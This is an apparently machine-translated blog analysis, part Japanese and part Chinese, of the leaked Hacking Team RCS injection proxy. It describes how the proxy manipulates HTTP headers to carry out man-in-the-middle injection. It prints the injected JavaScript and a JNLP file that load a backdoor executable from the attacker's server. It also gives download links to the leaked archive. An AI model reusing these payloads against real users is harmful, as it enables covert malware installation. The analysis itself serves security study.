ホームページ > 記事 > ウェブフロントエンド > 中間者攻撃: html注入_html/css_WEB-ITnose
0×00 まえがき
昔書いた記事がシェアされました。あらかじめ断っておきますが、私はいじるのが大好きな初心者ですので、リーク情報の分析には必ず見落としや間違いが含まれます。ご覧になるヒーローの皆様にはご容赦ください。
今年7月5日夜、イタリアのソフトウェアメーカーが攻撃を受け、同社が保有していた387.05GB(ゼロデイ含む)の脆弱性データが流出し、業界に混乱が生じた。すべてのファイルの合計サイズは 387.05GB であるため、ダウンロードには時間がかかります。ここでは、Baidu Netdisk の完全版のダウンロード アドレスを提供します。興味のある学生は、直接ダウンロードできます: http://yun.baidu.com/s/1jG8fOxS。こんなに大きいのはメールがたくさん入っているからだと言われています。しかし、小さな水道管について心配する必要はありません。一部の優秀な人々は、わずか 1.3G で洗練されたバージョンをコンパイルしています。ここでは、Baidu ネットワーク ディスクのダウンロード アドレス http://yun.baidu.com/s/1eQDFm18 も提供します。フルバージョンをダウンロードする前に、欲求を満たすためにエッセンスバージョンを入手しましょう。
0×01 はじめに
ここでの IPA は、Apple プログラム アプリケーション ファイル iPhoneApplication の略称ではなく、Injection Proxy Appliance の略称であり、Galileo Remote Control System (以下、RCS と呼びます) の一部です。その主要な機能は次のとおりです:
IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML、注入EXE和替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。
Vector-ipa のソース コードは、Hacked Teamrcs-devshareHOMEFabioarchiveprojectspcRCSRedirect フォルダーにあり、その内容は図 1 に示されています。
図 1 Vector-ipa のコンテンツ
ソース コードから見つかりました。これは、Makefile ファイルを使用して Linux 環境でプロジェクト全体のコンパイル、接続などを行い、openssl ライブラリも使用する C コードです。
0×02 攻撃原理
HTTP/1.0 プロトコルに基づくクライアントとサーバーの情報交換のプロセスには 4 つのステップが含まれます:
(1)建立连接;(2)发送请求;(3)回送响应信息;(4)关闭连接。
IPA はプロキシ モードを通じて監視されているネットワーク トラフィック内の HTTP 接続を検出し、HTTP 接続の Http ヘッダーをハイジャックします。攻撃は、HTTP ヘッダーの内容を変更することで実行されます。攻撃プロセスを図 2 に示します。
図 2 IPA の http インジェクション攻撃プロセス
図 2 からわかるように、攻撃の 2 つの最も重要なステップは、 HTTP リクエスト ヘッダーの変更 と HTTP 応答ヘッダーにトロイの木馬を書き込む です。以下では、これら 2 つのステップに焦点を当てます。
0×03 HTTP リクエスト ヘッダー
1. チャンク エンコーディングやその他の問題を回避するために、HTTP プロトコルを 1.1 から 1.0 に削減します
まず、HTTP/1.0 と HTTP/1.1 の違いの 1 つは次のとおりです:
( 1) HTTP 1.0 では、ブラウザがサーバーとの接続を短期間だけ維持する必要があると規定されており、サーバーはリクエストの処理が完了するとすぐに TCP 接続を確立します。各顧客を追跡したり、過去の取引を記録したりすることはありません。図 3 に示すように。
図 3 HTTP/1.0 接続
(2) HTTP 1.1 は、複数の HTTP リクエストと応答を TCP 接続上で送信できるため、接続の確立と終了の消費と遅延が軽減されます。多くの画像を含む Web ページ ファイルに対する複数のリクエストと応答は 1 つの接続で送信できますが、個々の Web ページ ファイルに対するリクエストと応答では独自の接続を使用する必要があります。図 4 に示すように。
図 4 HTTP/1.1 接続
http インジェクションでは永続的な接続を使用する必要がないため、HTTP/1.0 プロトコルに変更する必要があります。そうすることで、チャンク エンコーディングやその他の問題を回避できます。
2. あらゆる種類の圧縮を回避するために、純粋なエンコーディングの使用を強制します
HTTP ヘッダーの Accept-Encoding は、ブラウザによってサポートされるエンコーディング タイプを宣言するためにブラウザによってサーバーに送信されます。
Accept-Encoding: compress, gzip //支持compress 和gzip类型Accept-Encoding: //默认是identityAccept-Encoding: * //支持所有类型 Accept-Encoding: compress;q=0.5, gzip;q=1.0//按顺序支持 gzip , compressAccept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0 //按顺序支持 gzip , identity
後で HTTP 応答ヘッダーをより適切に変更するには、Accept-Encoding を none に設定する必要があります。これにより、あらゆるタイプの圧縮を回避できます。ソース コードを図 5 に示します。 。
図 5 Accept-Encoding を none に設定します
3. キャッシュを使用しないでください (サーバーが 304 応答を返さないようにするため)
キャッシュを使用しないと、新しいファイルをより効率的に取得できるため、If-in を削除する必要があります。図 6 に示すように、キャッシュ ヘッダー フィールド Modified-Since および If-None-Match。
図 6 キャッシュ ヘッダー フィールドの If-Modified-Since と If-None-Match を削除する
If-Modified-Since
クライアントのキャッシュされたページの最終変更時刻をサーバーに送信すると、サーバーはこの時刻は、サーバー上の実際のファイルの最終変更時刻と比較されます。時間が一致している場合は、304 が返され、クライアントはローカル キャッシュ ファイルを直接使用します。時間が一致しない場合は、200 と新しいファイルの内容が返されます。受信後、クライアントは古いファイルを破棄し、新しいファイルをキャッシュしてブラウザに表示します。図 7 に示すように。
図 7 If-Modified-since
If-None-Match
If-None-Match和ETag一起工作,工作原理是在HTTP Response中添加ETag信息。 当用户再次请求该资源时,将在HTTP Request 中加入If-None-Match信息(ETag的值)。如果服务器验证资源的ETag没有改变(该资源没有更新),将返回一个304状态告诉客户端使用本地缓存文件。否则将返回200状态和新的资源和Etag。如图8所示。
图8 If-None-Match
4、关闭保持连接
我们都知道Connection: keep-alive和Connection: close的区别:
当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。
代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。
前面我们将HTTP协议从1.1降到1.0,为了HTTP Request Header中可能存在Connection: keep-alive而导致后面修改HTTP Reply Header时出问题。
这样我们就把HTTP Request Header修改完成了,接着就是向服务器发送请求啦~
0×04 木马文件
在前面我们把修改之后的HTTP Request Header发送到服务器,这样服务也返回了HTTP Reply Header响应。那接下来的这步也是最关键的一步,就是将木马写入HTTP Reply Header中。
1、读取木马文件内容
在这之前,我们需要对木马文件进行准备检测,如果不存在的话,则返回一个新的BIO。
图9 木马文件准备检测
从上面的木马文件准备检测可以发现,其中木马文件如图10所示。
图10 木马文件
注入的原理就是在HTTP Reply Header的93f0f5c25f18dab9d176bd4f6de5d30e标签中注入一段JavaScript脚本。其JavaScript脚本的内容如下:
<script language="javascript" type="text/javascript"> if (navigator.platform == "Win32") { if (navigator.appName == "Microsoft Internet Explorer") { document.write("<iframe src =\"\" width=\"0\" height=\"0\"></iframe> <object classid=\"clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284\" height=0 width=0 > <param name=\"app\" value=\"%IPA_URL%/JwsUpdater.jnlp\"> <param name=\"type\" value=\"application/x-java-jnlp-file\"> <param name=\"back\" VALUE=\"false\"> </object> "); } else { document.write("<meta http-equiv=\"refresh\" content=\"0;url=%IPA_URL%/JwsUpdater.jnlp\" />"); } }</script>
从JavaScript脚本中,发现脚本跳转到一个JwsUpdater.jnlp的文件。先普及一下什么是JNLP?
JNLP(Java Network Launching Protocol )是java提供的一种可以通过浏览器直接执行java应用程序的途径,它使你可以直接通过一个网页上的url连接打开一个java应用程序。Java桌面应用程序以JNLP 的方式发布,如果版本升级后,不需要再向所有用户发布版本,只需要更新服务器的版本,这就相当于让java应用程序有了web应用的优点。
使用jnlp文件就是为了能够通过浏览器打开一个网页上的URL连接来执行java木马应用程序。
<?xml version="1.0" encoding="utf-8"?><jnlp codebase="%IPA_URL%" spec="1.0+"> <information> <title>Java Web Start Updater</title> <vendor>%SITE_HOSTNAME%</vendor> </information> <security> <all-permissions/> </security> <resources> <j2se version="1.4.2+"/> <jar href="JwsUpdater.jar"/> </resources> <application-desc main-class="com.sun.JwsInstaller.JwsUpdater"> <argument>%IPA_URL%/backdoor.exe</argument> </application-desc></jnlp>
其中,在a141981aa472ddb2685f50fc2bc412f7标签中发现会把.jar文件下载到本地。而在application-desc设定参数的话,则会以安全的方式来执行jar文件中的com.sun.JwsInstaller.JwsUpdater类,自动加载服务器上的后门程序。
如果检测通过之后,就是将木马文件JwsUpdater.html的内容读取到html_to_inject中。
2、修改IPA_URL
在前面无论是JwsUpdater.html文件,还是JwsUpdater.jnlp文件都有一个“%IPA_URL%”。我需要把“%IPA_URL%”修改为工作服务器的地址。
木马脚本、服务器网站都修改好,那么万事俱备只欠东风。对的,设置搜索关键字和注入缓冲器就是那阵东风。
struct bio_inject_setup { char *search; char *inject; size_t inject_len;};
其中,有三个成员,分别是搜索关键字(search)、注入木马脚本内容(inject)和注入木马脚本的长度(inject_len)。
前面也提到了,我们的木马内容是一段JavaScript脚本,所以注入木马脚本之处就是html文件中93f0f5c25f18dab9d176bd4f6de5d30e标签内。
0×05 HTTP Reply Header
木马文件都准备好,那么接下来就是把木马文件写入到HTTP Reply Header中。分下面三个步骤:
1、将木马写入HTTP Reply Header
前面我们,设置搜索关键字和注入缓冲器。
在HTTP Reply Header搜索关键字,再把注入缓冲器的内容写入到HTTP Reply Header即可。如图11所示:
图11 将木马写入HTTP Reply Header
2、检查HTTP Reply Header是否gzip压缩
HTTP Reply Header必须采用纯编码,不能对其进行压缩。所以如果发现HTTP Reply Header有压缩的话,则停止攻击。
3、调整HTTP Reply Header的Content-Length属性
前面,在HTTP Reply Header中注入了木马脚本,所以HTTP Reply Header的长度肯定变化了,所以,我们需要调整HTTP Reply Header的Content-Length属性。
到这为止,就差最后一步,就是把HTTP Reply Header发送回客户端。这样就把木马程序种植到客户端。接下来就可以利用后门程序,做一系列的攻击。
*原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载